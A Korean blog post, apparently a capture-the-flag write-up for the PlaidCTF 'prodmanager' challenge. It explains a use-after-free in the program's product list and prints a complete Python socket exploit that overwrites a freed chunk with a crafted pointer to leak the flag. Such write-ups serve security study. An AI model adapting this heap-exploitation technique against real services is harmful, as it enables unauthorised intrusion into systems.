본문 바로가기

CTF/Write-up

Plaid ctf prodmanager

보호 기법은 NX와 ASLR이 걸려있다.


프로그램 실행모습


1 제품 생성

2 제품 삭제

3 제품 매니저에 등록

4 제품 매니저에서 가격이 제일 낮은거 3개 출력 후 삭제

5 프로파일 보여주기


메인 부분 - 입력한 것을 스위치 구문으로 표시했다.


제품명과 가격을 적고 malloc으로 76만큼 할당한 곳에 복사하고 링크드리스트를 설정한다.


제품을 3개 등록해야하니

3개 등록하고 매니저에도 ADD해서 4번으로한번보면

위처럼 나오게 된다.


이 때 매니저에 등록하고 2번으로 지우게 되면 위처럼 가격이 바뀌는걸 볼 수 있다.


그리고 2번에서 free한 것을 5번에서 다시 malloc 하기 때문에

use-after-free 취약점이 발생한다. 


create에서 malloc을 한 후 이 함수를 호출하는데

나머지를 0으로 초기화하고 제품이름과 가격을 설정한다.




이부분에서 v1에서 상품의 주소를 리턴하는데

그 값을 출력한다. 이부분을 바꾸면 플래그를 볼 수 있는 것이다.


1 상품 3개 생성

2 상품 3개 등록

3 상품 제거

4 프로파일 생성

5 낮은 가격 3개 상품 출력


이런식으로 지운곳에 5에서 입력한 값이 들어가게된다.


그럼 저부분에 플래그의 주소를 넣어보자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from struct import *
from socket import *
from time import sleep
 
= lambda x: pack("<L", x)
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"3722))
 
def all(name, price, num):
    if num == "1":
        s.send(num+"\n")
        s.recv(1024)
        s.send(name+"\n")
        s.recv(1024)
        s.send(price+"\n")
 
    elif num == "2":
        s.send(num+"\n")
        s.recv(1024)
        s.send(name+"\n")
        sleep(0.3)
        s.recv(1024)
        sleep(0.3)
        s.recv(1024)
 
 
    elif num == "3":
        s.send(num+"\n")
        s.recv(1024)
        s.send(name+"\n")
        s.recv(1024)
 
    elif num == "4":
        s.send(num+"\n")
        sleep(0.1)
        data = s.recv(512)
        data = data.split("\n\n\n")
        print data[0]
 
    else:
        s.send(num+"\n")
        sleep(0.3)
        s.recv(1024)
        payload = p(0000)*5
        payload += p(0x804C3E0-24)
        s.send(payload+"\n")
        s.recv(1024)
        s.recv(1024)
 
sleep(0.3)
s.recv(1024)
all("AAAA""1111""1")
all("BBBB""1111""1")
all("CCCC""1111""1")
 
all("AAAA", None, "3")
all("BBBB", None, "3")
all("CCCC", None, "3")
all("BBBB", None, "2")
 
all(None, None, "5")
all(None, None, "4")
 
s.close()
cs

소스 코드는 이렇게 짰다.

지금보니깐 소스도 드럽게 못짰네


이번꺼는 문제를 잘못 선택한거같다. 저 payload 부분에서 4씩 플러스 마이너스 하다가 겨우 되기했지만......

너무 어려워서 풀이를 참고했는데도 완벽히 이해를 못했다.

힙공부를 하고 다시 제대로 풀어야지


참고 풀이 출처-http://kikisctf.blogspot.kr/2015/06/plaidctf-quals-2015-prodmanager.html






'CTF > Write-up' 카테고리의 다른 글

BITSCTF Riskv and Reward  (0) 2017.02.05
insomnihack CTF bender_safe  (0) 2017.01.22
codegate 2014 angry doraemon  (0) 2017.01.15
Warm-Heap  (0) 2017.01.15
codegate 2014 nuclear  (0) 2017.01.13